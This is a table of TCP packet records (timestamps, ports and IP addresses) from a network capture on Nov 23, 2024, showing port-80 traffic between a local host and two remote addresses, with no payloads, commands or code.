Nov 23, 2024 13:28:38.725255966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.725305080 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.728233099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.728291988 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.728322983 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.728384972 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.730891943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.730952978 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.730974913 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.731023073 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.732856989 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.732912064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.732969046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.733056068 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.735435963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.735492945 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.735553026 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.735605001 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.737972975 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.738017082 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.738122940 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.738184929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.740582943 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.740649939 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.740694046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.740741968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.743304968 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.743352890 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.743402958 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.743451118 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.745759010 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.745815992 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.745889902 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.745951891 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.748310089 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.748373032 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.748405933 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.748476028 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.750921011 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.750978947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.751014948 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.751072884 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.753457069 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.753514051 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.753560066 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.753602982 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.756002903 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.756076097 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.756131887 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.758632898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.758712053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.758769035 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.761142969 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.761200905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.761369944 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.761420012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.763736963 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.763798952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.763837099 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.763892889 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.766355991 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.766416073 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.766428947 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.766480923 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.769133091 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.769185066 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.769224882 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.769273996 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.771471024 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.771523952 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.771563053 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.771611929 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.773705959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.773889065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.774019957 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.774030924 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.774072886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.774080992 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.774112940 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.774904966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.776612043 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.776662111 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.776679039 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.776710987 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.814501047 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.834984064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.835083008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.835309029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.849296093 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.849381924 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.849436998 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.849493027 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.850363970 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.850430965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.850450993 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.850498915 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.852029085 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.852096081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.852523088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.852593899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.852600098 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.853230000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.853369951 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.853435040 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.853468895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.853519917 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.855611086 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.855664968 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.855710030 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.855776072 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.857952118 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.858002901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.858011007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.858061075 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.860068083 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.860121965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.860146046 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.860193014 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.862332106 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.862582922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.862633944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.864573956 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.864629030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.864675999 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.864727020 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.866796017 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.866848946 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.866894960 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.866960049 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.869026899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.869079113 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.869148016 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.869199038 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.871231079 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.871290922 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.871370077 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.871422052 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.873126984 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.873183012 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.873239040 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.873290062 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.874821901 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.874872923 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.874947071 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.874996901 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.876379013 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.876389027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.876429081 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.876606941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.876617908 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.876652002 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.876684904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.878277063 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.878370047 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.878421068 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.880028009 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.880083084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.880162954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.880214930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.881707907 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.881758928 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.881792068 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.881840944 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.883430004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.883481026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.883526087 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.883577108 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.885035992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.885087013 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.885133028 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.885185003 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.886730909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.886785030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.886806965 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.886857033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.888313055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.888365984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.888398886 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.888448000 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.889220953 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.889275074 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.889352083 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.889400959 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.890168905 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.890225887 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.890271902 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.890321970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.891140938 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.891192913 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.891206026 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.891272068 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.892026901 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.892076969 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.892139912 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.892189026 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.892971992 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.893073082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.893130064 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.893940926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.893991947 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.894090891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.894138098 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.894758940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.894799948 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.894864082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.894875050 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.894917965 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.894949913 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.894994974 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.895792961 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.895854950 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.895922899 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.895968914 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.895973921 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.896013021 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.896744013 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.896846056 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.896902084 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.897697926 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.897780895 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.897810936 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.897841930 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.898660898 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.898725033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.898760080 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.898807049 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.899573088 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.899625063 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.899662018 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.899698973 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.900615931 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.900665045 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.900722980 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.901706934 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.901741982 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.901771069 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.901803970 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.902442932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.902519941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.902570009 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.903338909 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.903393984 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.903407097 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.903453112 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.904181004 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.904305935 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.904359102 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.905119896 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.905174971 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.905235052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.905282021 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.906115055 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.906188011 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.906225920 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.906279087 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.907026052 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.907073975 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.907105923 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.907161951 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.907897949 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.907946110 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.908015966 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.908058882 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.908818007 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.909024954 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.909085989 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.909761906 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.909821033 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.909888029 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.909934998 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.910721064 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.910772085 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.910960913 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.911010981 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.911600113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.911657095 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.911700010 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.911746025 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.912519932 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.912632942 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.912688017 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.913530111 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.913588047 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.913649082 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.913693905 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.914416075 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.914465904 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.914558887 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.914599895 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.915308952 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.915359974 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.915435076 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.915487051 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.916249037 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.916342020 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.916390896 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.917148113 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.917197943 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.917239904 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.917287111 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.918165922 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.918210030 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.918212891 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:38.918262005 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:38.937783003 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.937882900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.937957048 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.938653946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.938733101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.938791990 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.941072941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.979300976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.979384899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.979449034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.980505943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.980830908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.980880976 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.981005907 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:38.981551886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:38.983254910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.021471977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.021557093 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.021620989 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.022641897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.023030043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.023071051 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.023081064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.024002075 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.025480986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.045602083 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.045613050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:39.045665979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:39.060091972 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.060173035 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.060209990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.060209990 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.060843945 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.060895920 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:39.061045885 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:39.061094999 CET	49799	80	192.168.2.6	185.215.113.16
